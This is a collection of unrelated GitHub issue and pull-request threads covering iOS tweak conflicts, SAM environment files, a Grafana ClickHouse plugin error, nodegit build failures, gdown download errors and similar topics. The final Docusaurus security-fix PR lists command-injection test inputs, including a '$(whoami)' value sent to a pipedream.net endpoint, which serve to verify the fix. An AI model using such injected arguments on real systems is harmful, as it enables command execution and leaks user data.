[Bug] No Haptic feedback from Home Button

With Little11 installed, the Home Button does not provide any Haptic Feedback.
iPhone 7+
IOS 13.3.1
Checkra1n
Little11 1.2.0

As shown by issue #6 this is an issue with Cercube, and can be fixed by going to Filza, navigating to /Library/MovieSubstrate/DynamicLibrares/ opening CercubeServices.plist, removing com.apple.backboardd from the Bundles, and then respringing to fix the conflict with Cercube.

Assuming /MovieSubstarte/ was just a typo for MobileSubstrate, following these instructions had no positive effect on HomeButton Haptic Feedback. I really wanted it to work.

What other tweaks do you have?

It's quite a long list. I appreciate you looking into this.
https://pastebin.com/NwxMHzTS

So using iCleanerPro to disable/enable tweaks, I was able to isolate the conflicting tweaks. You were correct that Cercube was conflicting, but it was not the only one and that is why when I removed the com.apple.backboardd Bundel from CercubeServices.plist, the issue did not resolve. The second tweak causing the issue is Gyration. I use Gyration to enable screen rotation on Home Screen because Little11 disables it.
After removing  com.apple.backboardd Bundle from CercubeServices.plist as well as Gyration.plist located in /Library/MobileSubstrate/DynamicLibrares/, I now have regained Haptic Feedback from HomeButton, can take screenshots, screen rotation still works with Gyration and Cercube seems to be doing it's thing as well.
Thanks for you assistance


VIewControllers are not getting de-initializing on switch

I believe changeMainViewController expectation is to remove all view controllers from the memory and load new view controller but as per my testing none of the view controller are de-initializing.
Reproduce -

Open Sample project
Add deinit code in SwiftViewController deinit { print("Swift Gone") }
Add deinit code in JavaViewController deinit { print("Java Gone") }
Now switch to menu's neither deinit will be called nor viewDidLoad will be called.

any news about this issue?


LICENSE file has Copyright [yyyy] [name of copyright owner]

The README should mention that the LICENSE file's copyright info should be updated after using the template.
In addition, does this project have a copyright? If so, how would you show that in the license without other projects accidentally copying it?

OK. A PR is easier than an issue though :) Thanks.


Invalid environment override file env.json

I have a working Node lambda function that I can execute with SAM Local, but I am trying to include environment variables now. When trying to invoke my function like so: echo '{"msg":"hi"}' | sam local invoke "MyFunc" --env-vars env.json I am getting the error:
Invalid environment override file env.json: json: cannot unmarshal string into Go value of type map[string]string

The function still executes fine, I just don't have any variables from my env.json available. My JSON file looks like this:
{
  "dbPort": "3306",
  "dbHost": "docker.for.mac.localhost",
  "dbPass": "MYPASS",
  "dbName": "MYDBNAME"
}

Nothing out of the ordinary and everything is a string. I'm not sure what's going on.

hey Zach and Ravi thanks for sharing that - I just hit this issue when working on something new.


Repackaging - F5 Networks (MMA to AMA Migration)

Required items, please complete
Change(s):

See guidance below

Reason for Change(s):

See guidance below

Version Updated:

Required only for Detections/Analytic Rule templates
See guidance below

Testing Completed:

See guidance below

/Package

/Package


Softwrap at line

Description of the problem or steps to reproduce
When softwrap is turned on, it would be nice to specify a line number at which text should wrap (if edge of screen extends beyond that line).
One approach could be to repurpose the softwrap option to accept a number.

Yes, it could be similar to nano's set fill option (only without hard wraps).
The whole reason I switched to micro from nano was because of this.


developers can use grunt  and sass in the project.

Hi,
I tried open more doors for the project, make a oportunity for developers use grunt and gulp.
some people has personal choice so I had a idea of implement grunt into the project.
I created a Sass version  for the css. soon I will bring the version 2.
I had change my name and email from my  lasts commit because I was using another email and name.
so my features are:

now developers can use grunt
now developers can use Sass CSS

Thanks

hello @devmark   what you think about my improvements? :)


Deployment option without removing dependencies ?

Hi,
when I deploy python app (for example because of 1 file), I have to always wait until dependencies are reinstalled. Could be nice to disable this (not sure if its even possible on plugin site, or it has to be developed for azure itself)

If you just want to make a quick change, you could navigate to the Files node and directly edit the file itself.
A better way might be to connect your deployments to a remote GitHub repository and make the changes that way.

To clarify, are you talking about skipping reinstalling dependencies locally before deploying, or reinstalling on the server once the app is deployed?

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


chore: add EditorConfig

LGTM

This should go into the skatejs build template, too.
On Fri, 26 Aug 2016, 07:23 Joshua Nelson<EMAIL_ADDRESS>wrote:

LGTM
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/skatejs/skatejs/pull/747#issuecomment-242545090, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAIVbPhij5N2WGhx3Kg6gKhufXwR9ndnks5qjgfBgaJpZM4JsuXH
.


chore(pkg): simplify package.json & explicitly include files

Dropped some properties that are inferred and don't need to be specified. Also used the files object so you don't include a lot of junk in the installed package.

Thank you!


One button icon is not showing in the peer selector

One button icon is not showing in the peer selector

Originally posted by @decentraliser in https://github.com/nemfoundation/symbol-desktop-wallet/pull/177#issuecomment-615643676
This is in current master.

Nice
On Sat, Apr 18, 2020, 22:50 fboucquez<EMAIL_ADDRESS>wrote:

One button icon is not showing in the peer selector
[image: image]
https://user-images.githubusercontent.com/36499647/79630697-110eba00-8186-11ea-872d-2dbc65546899.png
Originally posted by @decentraliser https://github.com/decentraliser in
#177 (comment)
https://github.com/nemfoundation/symbol-desktop-wallet/pull/177#issuecomment-615643676
This is in current master.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nemfoundation/symbol-desktop-wallet/issues/256, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AIWPBP4QIKUU53RISLU53A3RNG44FANCNFSM4MLMEXGQ
.


Add example of using cmake extras

Demo of using cmake extras

This is being used by messages now as of harmonic, this was just a proof of concept, closing.


Search error An unexpected error happened

An unexpected error happened
详情
Error: Minified React error #31; visit https://reactjs.org/docs/error-decoder.html?invariant=31&args[]=object with keys {code%2C message} for the full message or use the non-minified dev environment for full errors and additional helpful warnings.
at div
at div
at div
at https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:5:55699
at div
at I (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:209:87823)
at nt (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:513:14278)
at pl (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:1010:3967)
at gi (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:1010:4211)
at div
at s (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:2488:12263)
at div
at div
at div
at V (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:140:13278)
at r (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:518:3183)
at Ch (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:1245:153)
at tn (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:175:120702)
at WithTheme(Connect(Ch))
at div
at zs (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:1254:57)
at tn (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:175:120702)
at WithTheme(Connect(zs))
at f (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:1320:180)
at m (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:1320:754)
at div
at r (https://<IP_ADDRESS>:30663/grafana/public/build/2060.bc8dca0113c3ef0872b8.js:1:2292)
at div
at r (https://<IP_ADDRESS>:30663/grafana/public/build/2060.bc8dca0113c3ef0872b8.js:1:4276)
at C (https://<IP_ADDRESS>:30663/grafana/public/build/2060.bc8dca0113c3ef0872b8.js:1:9630)
at div
at cs (https://<IP_ADDRESS>:30663/grafana/public/build/6579.28317b1012d2483cf0c8.js:1260:21)
at Suspense
at f (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:1320:180)
at Wm (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:9259:330)
at Ke (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:206:23585)
at Ci (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:197:4727)
at An (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:197:10217)
at Do (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:206:11746)
at Ke (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:206:25781)
at div
at div
at div
at main
at Gc (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:9256:2428)
at Ci (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:197:4727)
at An (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:197:10217)
at Tn (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:197:9607)
at es (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:206:12045)
at Ke (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:206:19753)
at div
at c (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:2337:3973)
at g (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:46:13846)
at i (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:4996:18170)
at f (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:1320:180)
at m (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:1320:754)
at E (https://<IP_ADDRESS>:30663/grafana/public/build/5226.48dbd59a341e1b9072d3.js:175:118397)
at dl (https://<IP_ADDRESS>:30663/grafana/public/build/2077.a35416a524fb1433fe6e.js:9270:122)

grafana  version  10.0.3
Altinity plugin for ClickHouse 3.0.0

According to shared screenshots everything should be ok.
Could you try with latest pre-release?
You need download https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip into  /var/lib/grafana/plugins/vertamedia-clickhouse-datasource/
and restart grafana-server
something like that
wget https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip -q -O - | sudo unzip -d /var/lib/grafana/plugins/vertamedia-clickhouse-datasource/ -q

sudo chown grafana -R /var/lib/grafana/plugins/vertamedia-clickhouse-datasource
systemctl restart grafana-server

or using grafana cli interface
grafana cli --pluginUrl https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip plugins install vertamedia-clickhouse-datasource

Upgraded or the same error

According to shared screenshots everything should be ok.
Could you try with latest pre-release? You need download https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip into /var/lib/grafana/plugins/vertamedia-clickhouse-datasource/ and restart grafana-server
something like that
wget https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip -q -O - | sudo unzip -d /var/lib/grafana/plugins/vertamedia-clickhouse-datasource/ -q

sudo chown grafana -R /var/lib/grafana/plugins/vertamedia-clickhouse-datasource
systemctl restart grafana-server

or using grafana cli interface
grafana cli --pluginUrl https://github.com/Altinity/clickhouse-grafana/releases/download/v3.0.3/vertamedia-clickhouse-datasource-3.0.3.zip plugins install vertamedia-clickhouse-datasource

Upgraded or the same error

Does it not support databend database queries

Are you use clickhouse compatible https://github.com/datafuselabs/databend ?
Is databend support HTTP protocol for queries?

您是否使用与 clickhouse 兼容的https://github.com/datafuselabs/databend？
是否databend支持HTTP协议查询？

Yes, you can already search for the outbound list in the picture, but clicking on the query results in an error

Could you press CTRL+SHIFT+I -> Network tab
and try to find request and response from grafana to grafana backend dataproxy is return 200 code with properly result?
moreover, could you share
curl -vvv "http://databend:your-password@databend-query:8124/?query=SELECT version()"

databend-query:8124

{"error":{"code":"400","message":"UnknownFunction. Code: 1008, Text = error: \n  --> SQL:1:16\n  |\n1 | SELECT (intDiv(toUInt32(undefined), 2) * 2) * 1000 as t, count() FROM default.employee_data WHERE undefined >= toDateTime(1713424120) AND undefined <= toDateTime(1713427720) GROUP BY t ORDER BY t FORMAT JSON\n  |                ^^^^^^^^^^^^^^^^^^^ no function matches the given name: 'touint32', do you mean 'to_uint32', 'to_int32', 'to_uint8', 'try_to_uint32', 'to_uint16', 'to_uint64', 'to_int8'?\n\n."}}

curl -vvv "http://databend:your-password@databend-query:8124/?query=SELECT version()"

no function matches the given name: 'touint32', do you mean 'to_uint32', 'to_int32', 'to_uint8', 'try_to_uint32', 'to_uint16', 'to_uint64', 'to_int8'?

It means databend doesn't support standard clickhouse functions like toUInt32 and have different SQL dialect, and can't be used as source server for ClickHouse plugin execution
check
curl -vvv "http://databend:your-password@databend-query:8124/?query=SELECT+toUInt32(1)"

and better create issue in https://github.com/datafuselabs/databend/issues in this case
I will try to reproduce it later

ok,thank

no function matches the given name: 'touint32', do you mean 'to_uint32', 'to_int32', 'to_uint8', 'try_to_uint32', 'to_uint16', 'to_uint64', 'to_int8'?

It means databend doesn't support standard clickhouse functions like toUInt32 and have different SQL dialect, and can't be used as source server for ClickHouse plugin execution
check
curl -vvv "http://databend:your-password@databend-query:8124/?query=SELECT+toUInt32(1)"

and better create issue in https://github.com/datafuselabs/databend/issues in this case
I will try to reproduce it later

ok thank


Group all pseudo nodes from a given host, talking to the same node, together

Fixes #99

Nice expansion of the test coverage. :+1:


Install Python requirements programmatically

Whenever a user runs BitVision, we need to check if they have all the required Python dependencies installed. If they don't, we should spawn a child process that installs them by running pip3 install -r requirements.txt.

From @alichtman: Run pip3 list on startup, check if the dependencies in requirements.txt are all in the list:

If not, then ask the user for permission to install dependencies

If they give permission, install dependencies and continue with startup
If they don't, warn them that they can't use the app w/o them and then abort startup

If they are, then continue with startup as normal


Enable map access for numbers, multiple nesting levels

This enables number based map access in the AST. I am unsure if this required a new type rather than just patching MapAccess but here goes.

This PR also adds support for multiple levels of map access as well, right? Like not just ["foo"] also ["foo"]["bar"]

looks like there are some CI tests to clean up as well @Igosuki FYI

Looks good to me, I remember map access being something I was not entirely confident in for my initial work, but perhaps if one was able to extend it then it wasn't as bad as my own perception was of it.

Well, there will be occasions to expand upon this. For instance to support ranges, which are in the pg dialect (e.g. foo[1:2]). Also I think the display is wrong for map access regarding strings, because foo['bar'] and ``foo[bar]printsfoo["'bar'"]```
I added a test for string keys in map access as well to wrap it up.

It breaks the hive test for map_access, since we don't differentiate between double and single quoted strings, I think this needs further fixing

Since map access belongs into the OLAP world and there is already the hive dialect, I went and enforced double quoted strings for map access in the display.

So now MapAccess is an infinite depth path access to nested values. I think allowing compound field selection within this should be a separate addition as it requires patching the tokenization.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

53 of 61 (86.89%)  changed or added relevant lines in 4 files are covered.
156 unchanged lines in 3 files lost coverage.
Overall coverage increased (+0.07%) to 90.135%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/parser.rs
14
17
82.35%

src/ast/mod.rs
7
12
58.33%

Files with Coverage Reduction
New Missed Lines
%

src/ast/operator.rs
2
93.02%

tests/sqlparser_common.rs
20
98.6%

src/parser.rs
134
85.86%

Totals

Change from base Build<PHONE_NUMBER>:
0.07%

Covered Lines:
5820

Relevant Lines:
6457

💛  - Coveralls

I think allowing compound field selection within this should be a separate addition as it requires patching the tokenization so that '.' is allowed after brackets

makes sense to me

FYI @Igosuki  I fixed a CI failure with c9e3cfba47d2df923fdb287e0af7032025d3f4aa

Thanks, now to enable this in data fusion
Le ven. 24 sept. 2021 à 20:22, Andrew Lamb @.***> a
écrit :

Merged #356 https://github.com/sqlparser-rs/sqlparser-rs/pull/356 into
main.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/sqlparser-rs/sqlparser-rs/pull/356#event-5357699075,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AADDFBWH2KRMP5NBKSK5EYDUDS6WBANCNFSM5EEDJNZA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thank you for your work on this @Igosuki !

Thanks for merging
Le sam. 25 sept. 2021 à 22:22, QP Hou @.***> a écrit :

Thank you for your work on this @Igosuki https://github.com/Igosuki !
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/sqlparser-rs/sqlparser-rs/pull/356#issuecomment-927178249,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AADDFBWIW6OOXHUYOUX6NALUDYVQTANCNFSM5EEDJNZA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thanks, now to enable this in data fusion

See https://github.com/apache/arrow-datafusion/pull/1052


FIX #21: Capitalize the first letter of dashboard and edit the title …

@Abhilash107
Fixes #21
Fixed :

Changed dashboard to Dashboard
Changed the title from Document to Sidebar

If you liked this work, please merge my pull request under Hactoberfest.
Thank You!

@Devashish-Mishra-2003 Changes cannot be made directly until you are assigned.

Ok, no worries. Let me assign that issue to you. Then, you can edit the PR description and add "fixes #issueID

@Devashish-Mishra-2003 Hey I have assigned it to you, just add the issueID here like fixes #xyz

Done.
Thank You  !

Done.
Thank You !

It's a good practice to mention the issue tag and always helps the maintainer to check linked PRs.

@Devashish-Mishra-2003 The changes you have made may be marked as spam due to simple text alterations.

@Devashish-Mishra-2003 Hey there! Don't forget to star the repository and give me a follow!


Refactor tests to use Time.zone.now or CycleTimetableHelper

Context
A large number of our tests are frozen to specific dates, normally the 1/1/2020 when they don't need to be. Ideally, we should either be using a randomised time within a discreet phase of the cycle where appropriate (between the apply1 and apply2 deadlines etc.) or we should just be freezing at the current time.
By setting the bulk of our tests that require Timecop to a specific date we may well be masking legitimate bugs in our system.
There are a couple of downsides to the work in this PR. Firstly, time-related tests that freeze on the current time can tend to be a bit flakey. Secondly, they're definitely a little harder to parse. Although, I don't think many/any of the changes in this PR are particularly difficult to parse. It's definitely less clear than a sentence reads.
For example,
expect(result.text).to include('Delete entry for break between Feb 2019 and Apr 2019')
becomes
 expect(result.text).to include("Delete entry for break between #{8.months.ago.to_s(:short_month_and_year)} and #{6.months.ago.to_s(:short_month_and_year)}")
Changes proposed in this pull request

Adds a helper which returns a randomised time for discreet phases of the cycle

Where possible, uses the current time when Timecop is used

Uses the helper to set the time for the appropriate tests (largely tests related to the EOC

Guidance to review
I'm definitely not the best at avoiding flaky tests for time-related tests. On other projects, I've largely used the to be_within matcher to avoid issues with nanosecond drift.
If anyone has any tips/ wants to make any amends, please do feel free.
Also, if people feel like this isn't the way to go that's fine too.
In terms of reviewing, i've tried to keep the tests for each UI in separate commits. It might be worth picking off the tests that you're most familiar to begin with.
Once i've got some feedback I'll apply it.
One thing i think we could potentially implement is a helper like this, which applies microsecond precision rather than nanoseconds

Link to Trello card
https://trello.com/c/4SPscuL1/3189-refactor-specs-to-be-cycle-aware
Things to check

[x] This code does not rely on migrations in the same Pull Request
[x] If this code includes a migration adding or changing columns, it also backfills existing records for consistency
[x] API release notes have been updated if necessary
[x] This code does not rely on the addition/removal of Azure config environment variables in the same Pull Request
[x] New environment variables have been added to the Azure config

Thanks for all the feedback! I'm going to apply the changes and merge. Then pick up adding the helper in a separate PR.
Abeer, there were a few that were failing on CI and a couple of others on the build.


Improvement: Redis Sentinel HA Support and Dockerized Travis CI

I have introduced Redis Sentinel Cluster support and (due to the lack of Sentinel service in Travis) I added dockerized tests with Docker Compose instead of pure travis, all changes are here, tell me if you interested in a PR:
https://github.com/danigosa/sorl-thumbnail/commit/d151d40665be5542e03f55bc730f73862fb72119

Not really. Thanks.


Recently updated signal on card.

#NEW!

OR
#updated!

Takes up too much space and will complicate with text overflow issue.  Perhaps just embolden the outline of the Objective (card).
Philip Greenwood
Landline: +44 20 7193 8021 | Cell: +44 7973 615 045 | Skype: philngreenwood | Connect: LinkedIn http://www.linkedin.com/in/philipgreenwood

On 5 May 2015, at 10:31 05/05/2015, Bernard Mordan<EMAIL_ADDRESS>wrote:
https://cloud.githubusercontent.com/assets/4499581/7470070/cf0cd82e-f311-11e4-9898-765c8cab381a.jpg
—
Reply to this email directly or view it on GitHub https://github.com/tableflip/posc/issues/27.

@bmordan Didn't see the second image; this would work if the signal isn't too small. The signal is useful when people are collaborating on developing a POSC Map.

Not sure why this fell-off being Iteration 2, so I've re-assigned it.

OK, I like the way this works.


AD settings on workspace creation page should adhere to AUTO_WORKSPACE_APP_REGISTRATION and AUTO_WORKSPACE_GROUP_CREATION

When deploying a workspace the user is prompted to choose authentication settings. As these are defined by AUTO_WORKSPACE_APP_REGISTRATION and AUTO_WORKSPACE_GROUP_CREATION they should not be user configurable as this can lead to mismatch with the app registration configuration and workspace deployment fails as per #3190
Notes:
At present this need this file https://github.com/microsoft/AzureTRE/blob/main/api_app/schemas/azuread.json to be edited. This means that the API app needs to be rebuilt. I suggest the values in this file are dynamically generated so they can be customised without rebuilding the API image.

Or combine with #2112 and #2538
Import the appropriate file(s) based on the global setting.

@marrobi should this still be open?

@marrobi should this still be open?

I've updated the title and description to match the original intention now we have new ENV vars.

We discussed amending the error message (which isn't currently visible as per #2363 could be a way to mitigate).

Another instance of this https://github.com/microsoft/AzureTRE/issues/3494

Another instance here - https://github.com/microsoft/AzureTRE/discussions/3608#discussioncomment-6413915


Cannot find module './build/Debug/nodegit'

...Solved (but please update Docs - this took me quite some time!)
The Wiki Page reads:
git clone git://github.com/tbranyen/nodegit.git
$ cd nodegit
$ npm run-script gen && npm install

this fails, complaining about missing ejs (on all machines/distris)
so I run:
npm i ejs &&  npm run-script gen && npm install

Compile succeeds!!!, BUT:
npm test

always gave me:
Cannot find module './build/Debug/nodegit'
I had cmake 2.8 installed (centos here)
but cmake --version told me 2.6 was in use.
Solved by:
ln -s /usr/bin/cmake28 /usr/bin/cmake

I get this error from simply using npm install --save nodegit.
I fully expect to be able to just use this after using npm install

@airtonix this is a native node module, meaning it's more than just JavaScript, fix those expectations as we cannot guarantee this module will install "simply" on every single platform and every single version of Node.

I've got the same issues:
npm install nodegit
node index.js
...where index.js has the following content:
var nodegit = require('nodegit');

Running on Debian 7 64-Bit (Linux 3.2.41-2)
Result:
Cannot find module '../build/Debug/nodegit'
    at Function.Module._resolveFilename (module.js:338:15)
    at Function.Module._load (module.js:280:25)
    at Module.require (module.js:364:17)
    at require (module.js:380:17)
    at Object.<anonymous> (/var/www/node_modules/nodegit/lib/nodegit.js:12:12)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Module.require (module.js:364:17)

The solution from stephanMettler doesn't work with me as it seems installing cmake (which was not installed during first nodegit-installation and does not seem to be required anymore) does not have any influence on this error.

@tbranyen Then this project is fairly pointless if it doesn't work across mutliple platforms... I may as well just run the git binary through a shell process.

We support a hefty prebuilt matrix that includes all common operating systems and environments that the team is using.  If you have a compiler on your machine you can compile the project from source.
Since, as I previously stated, we cannot guarantee working prebuilts for every single platform and architecture, I'm going to lock this issue from more noise.
You can find instructions on building from source here: http://www.nodegit.org/guides/install/from-source/

I'll just clarify a bit here. Code is being added (or may have already been added, I think) by @tbranyen to change this output since it's very misleading, but this is the issue:
For some reason, The release build of the module is failing to load. We would try catch around loads, so if you built for debug instead, it would fail to load the release version, and in the catch load the debug version. Some other issue is causing release to not load, so it catches and tries to load debug, and fails (naturally, since it built for release). The new system only falls back to debug if the release module was not found (flat out doesnt exist, not some other error), otherwise it will output the meaningful error.
@airtonix you might find that you'll get better support (be it in help with an error, or expanding our prebuilt matrices) if you A) give us any meaningful info to go off of (See here https://github.com/nodegit/nodegit/issues/521, or @SargTeX's response) and B) stop acting like you idolize Torvalds.
@SargTeX, see my comments in #521 re: gcc, and either get back to me there, or hop into our gitter room and we'll get you all sorted :+1:


Going up the folder tree

As mentioned here, : can be used to make a file in the same folder. But it is currently not possible to go up the tree. Or at least I'm unaware as to how this can be achieved.
And it would be nice to use something like the default . to indicate the current folder and .. to indicate the parent folder rather than :.

':'  at the beginning does not work as expected on Mac


gdown Stopped Working about 20+ Hours Ago

Provide environment information
/usr/bin/python
Python 2.7.18
/usr/bin/python: No module named pip

What OS are you using?
Linux / Ubuntu 20.04.6 LTS
Describe the Bug
Running gdown 4.4.0 and 4.7.1 against a "Anyone with the Link" Google Drive file stopped working in the last 20 or so hours with the error:
Access denied with the following error:

 	Cannot retrieve the public link of the file. You may need to change
	the permission to 'Anyone with the link', or have had many accesses.

You may still be able to access the file from the browser:

	...

This Stack Overflow user and post seemed to find a workaround in gdown 4.6.0.
The browser did / does work.
Expected Behavior
The gdown request succeeds without error.
To Reproduce
$ gdown <url> --output <path>

Facing the same issue, 4.6.0 worked

Hello, I'm getting the same issue. 4.6.3 is ok, but 4.6.4 is broken. I do suspect the headers added there: https://github.com/wkentaro/gdown/commit/193e1f818635e63c6772311457083efc546f020a.

Concur that 4.7.1 has this same issue for me. individual files seems to work, but if it is a folder, it will produce the same error.

Kiedy zacznie działać to jak było dawniej


Added package 3uTools v2.61.028

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?

[x] Does your manifest conform to the 1.1 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Microsoft Reviewers: Open in CodeFlow

Interactive only install has no silent switches.
https://github.com/microsoft/winget-cli/issues/823

winget install -m <Path To Manifest> --silent  still pops up the installation ui for user input. Winget-pkgs repo requires packages to support unattended mode.
Please make sure the Silent: and SilentWithProgress: values are correct and the package supports unattended install.


RFP - asn1-editor

Checklist

[x] The package I am requesting does not already exist on https://chocolatey.org/packages;
[x] There is no open issue for this package;
[x] The issue title starts 'RFP - ';
[x] The download URL is public and not locked behind a paywall / login;

Package Details
Software project URL: https://www.sysadmins.lv/projects/asn1editor/default.aspx
Direct download URL for the software / installer: https://www.sysadmins.lv/dl/27.aspx (zip package)
Software summary / short description: GUI reader for ASN.1 syntax
Source URL: https://github.com/Crypt32/Asn1Editor.WPF
Package Expectations
Please embed the package.

Status: Review
https://chocolatey.org/packages/asn1editor

Status: Published

https://chocolatey.org/packages/asn1editor

Can be closed.


Bicep deploy - support multiple deployment operations

O# command handlers used in bicep deploy operations are all serial. So currently if multiple deploy operations are kicked off via right click -> deploy, they would be executed serially.
Created this bug to fix above issue.

From my initial investigation, this doesn't block other commands(build, open new visualizer, insert resource) from being invoked.
Example output with deploy followed by build:

cc: @ucheNkadiCode

Due to the fact that trying to deploy multiple bicep files does not hang other commands, it has lowered the severity and we've moved this work item to next milestone


test(tree): Clean up and expand toMapTree unit tests

Also cleans up the way MockNodeKeyManager is exposed and consumed.
AB#7597

Test changes look ok to me, with one comment below. On the MockNodeKeyManager move, since it's not exported I like the change until we explicitly decide how to expose that kind of functionality if necessary.

I also think its good for now. Its just a reminder that in the future we will need to come up with better testing stories for apps built on tree since our old plan doesn't work anymore with our much smaller API


cloud: check status even when snapshots are disabled

LGTM but i wonder if we should provide another way to disable this check. Folks might get worried if Tilt is phoning home and they aren't using any cloud features.

how about if team id is empty and update checks are disabled?

how about if team id is empty and update checks are disabled?

oh, except we still need the initial check to see if you're registered.

LGTM but i wonder if we should provide another way to disable this check. Folks might get worried if Tilt is phoning home and they aren't using any cloud features.

Thanks for calling this out. We've discussed this in CH6731, CH6795, and decided to not block this merge on it.


Underline indicator for Tabline

Contributing guidelines

[X] I have read CONTRIBUTING.md
[X] I have read CODE_OF_CONDUCT.md

Module(s)
mini.tabline
Description
I'd like to see underline indicator for current active buffer as following

At the moment, I'm using akinsho/bufferline.nvim with custom TablineSel highlight group to get the above look. To be honest, I prefer your plugin because bufferline.nvim is more feature-bloated, and I don't use all of them.
Thank you for great plugin!

I am glad that documentation is not that obscure :)
You might also want to tweak MiniTablineModifiedCurrent.

Also if you don't mind giving me an advice how to get color for tabline icons. Not sure if it's worth a new feature request :)

Unfortunately, this is not currently possible by design. Mostly because initially there were no icons at all to fit more tabs, but they proved to be useful, so I added them. Having it the same color as text makes a more coherent look with 'mini.statusline'.
If this is crucial for you, feel free to open an issue about it. But even if implemented, it would use highlighting from 'nvim-web-devicons'.


fix(create-docusaurus): potential security issue with command injection

Pre-flight checklist

[x] I have read the Contributing Guidelines on pull requests.
[x] If this is a code change: I have written unit tests and/or added dogfooding pages to fully verify the new behavior.
[ ] If this is a new API or substantial change: the PR has an accompanying issue (closes #0000) and the maintainers have approved on my working plan.

Motivation
ShellJS args must be escaped to prevent possible malicious command injections in create-docusaurus
Test Plan
unit + locally
These 3 should work fine:
rm -rf website/build/test && yarn create-docusaurus website/build/test https://github.com/slorber/docusaurus-starter
rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://github.com/slorber/docusaurus-starter'
rm -rf website/build/test && yarn create-docusaurus 'website/build/test' 'https://github.com/slorber/docusaurus-starter'

But these should not allow executing malicious input:
rm -rf website/build/test && yarn create-docusaurus 'website/build/test$(say hello)' https://github.com/slorber/docusaurus-starter

rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://en7bf688iy9a.x.pipedream.net/targetName=$(whoami)'

rm -rf website/build/test && yarn create-docusaurus website/build/test 'https://github.com/slorber/docusaurus-starter;say hello'

Before the change, all these 3 commands would say hello or send currentUser to the remote endpoint. Now it's fixed.
Related issues/PRs
We removed Execa here: https://github.com/facebook/docusaurus/pull/5904
